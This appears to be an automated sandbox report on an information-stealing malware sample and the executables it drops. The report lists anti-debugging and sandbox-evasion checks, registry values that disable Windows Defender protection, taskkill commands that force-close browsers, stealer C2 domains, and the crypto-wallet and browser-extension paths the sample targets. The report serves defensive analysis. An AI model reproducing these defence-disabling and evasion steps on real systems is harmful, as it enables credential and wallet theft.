Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2120862136.0000000005A98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: 606f2f6db0.exe, 0000000A.00000002.2936306936.000000000124E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 606f2f6db0.exe, 0000000A.00000002.2936306936.0000000001294000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: 7RNKVR1EZ552XQ73.exe, 00000004.00000002.2320903364.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareQ
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: S14AV77TIR9DRWSCWIW0.exe, 00000003.00000002.2342537971.0000000000FD6000.00000040.00000001.01000000.00000006.sdmp, 7RNKVR1EZ552XQ73.exe, 00000004.00000002.2320028060.00000000006AB000.00000040.00000001.01000000.00000007.sdmp, QDDSFWH7TPMYGYIMIOWX7SBOU5.exe, 00000005.00000002.2419062316.0000000000BC7000.00000040.00000001.01000000.00000009.sdmp, skotes.exe, 00000006.00000002.2361931041.00000000011D6000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 00000008.00000002.3336042883.00000000011D6000.00000040.00000001.01000000.0000000D.sdmp, 976d9f40c1.exe, 00000009.00000002.2804031030.00000000011DE000.00000040.00000001.01000000.0000000E.sdmp, 606f2f6db0.exe, 0000000A.00000002.2935241193.00000000004BB000.00000040.00000001.01000000.0000000F.sdmp, 976d9f40c1.exe, 0000000B.00000002.2924184615.00000000011DE000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: file.exe, 00000000.00000003.2120963782.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe

Code function: 5_2_00BC2448 Start: 00BC24BB End: 00BC2486

5_2_00BC2448

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe

Code function: 3_2_05400229 rdtsc

3_2_05400229

Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe

Code function: 5_2_00A3B970 LdrInitializeThunk,

5_2_00A3B970

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_0101652B mov eax, dword ptr fs:[00000030h]		8_2_0101652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_0101A302 mov eax, dword ptr fs:[00000030h]		8_2_0101A302

Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 7RNKVR1EZ552XQ73.exe PID: 5628, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 606f2f6db0.exe PID: 8156, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe, type: DROPPED

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2068472559.0000000004E60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: clearancek.site
Source: file.exe, 00000000.00000003.2068472559.0000000004E60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: licendfilteo.site
Source: file.exe, 00000000.00000003.2068472559.0000000004E60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: spirittunek.store
Source: file.exe, 00000000.00000003.2068472559.0000000004E60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bathdoomgaz.store
Source: file.exe, 00000000.00000003.2068472559.0000000004E60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: studennotediw.store
Source: file.exe, 00000000.00000003.2068472559.0000000004E60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: dissapoiznw.store
Source: file.exe, 00000000.00000003.2068472559.0000000004E60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: eaglepawnoy.store
Source: file.exe, 00000000.00000003.2068472559.0000000004E60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mobbipenju.store

Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe "C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe "C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe "C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000979001\num.exe "C:\Users\user\AppData\Local\Temp\1000979001\num.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: 2d569de7b1.exe, 0000000C.00000000.2915915173.0000000000D62000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: QDDSFWH7TPMYGYIMIOWX7SBOU5.exe, 00000005.00000002.2419316485.0000000000C25000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Program Manager
Source: skotes.exe, skotes.exe, 00000008.00000002.3336042883.00000000011D6000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: -TProgram Manager
Source: 7RNKVR1EZ552XQ73.exe, 7RNKVR1EZ552XQ73.exe, 00000004.00000002.2320028060.00000000006AB000.00000040.00000001.01000000.00000007.sdmp, 606f2f6db0.exe, 0000000A.00000002.2935241193.00000000004BB000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Y~4Program Manager
Source: firefox.exe, 00000019.00000002.3156333371.0000002E515FB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: 976d9f40c1.exe, 00000009.00000002.2804424979.0000000001225000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: !Program Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 8_2_00FFD3E2 cpuid

8_2_00FFD3E2

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000979001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000979001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 8_2_00FFCBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

8_2_00FFCBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 8_2_00FE65E0 LookupAccountNameA,

8_2_00FE65E0

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000000.00000003.2167234333.0000000005A40000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 8.2.skotes.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.S14AV77TIR9DRWSCWIW0.exe.de0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000003.2321093178.00000000053C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2361822309.0000000000FE1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2646773633.0000000005110000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3335074148.0000000000FE1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2342431976.0000000000DE1000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2254811095.0000000005250000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 00000020.00000002.3341551842.0000000001388000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2d569de7b1.exe PID: 7448, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 5328, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 35.2.num.exe.480000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.num.exe.480000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.0.num.exe.480000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.0.num.exe.480000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.606f2f6db0.exe.e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.606f2f6db0.exe.e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.7RNKVR1EZ552XQ73.exe.2d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000000.2977404002.0000000000481000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2884674962.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2319704443.00000000002D1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3145991383.00000000000E1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.3221111651.0000000000481000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3155884712.0000000000B5B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.3081987586.0000000004A80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2936306936.000000000124E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.3235939586.0000000000481000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2279367623.0000000004C70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2934932135.00000000000E1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2993490502.0000000000B2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2992177721.0000000000481000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2320903364.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.3237002232.0000000000D57000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7RNKVR1EZ552XQ73.exe PID: 5628, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 606f2f6db0.exe PID: 8156, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2147845498.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ,"p":"%appdata%\\Electrum\\wallets",
Source: file.exe, 00000000.00000003.2147845498.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %\\com.liberty.jaxx\\Ind
Source: file.exe, 00000000.00000003.2147845498.00000000010D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.walletH
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: file.exe, 00000000.00000003.2147845498.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.2147845498.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
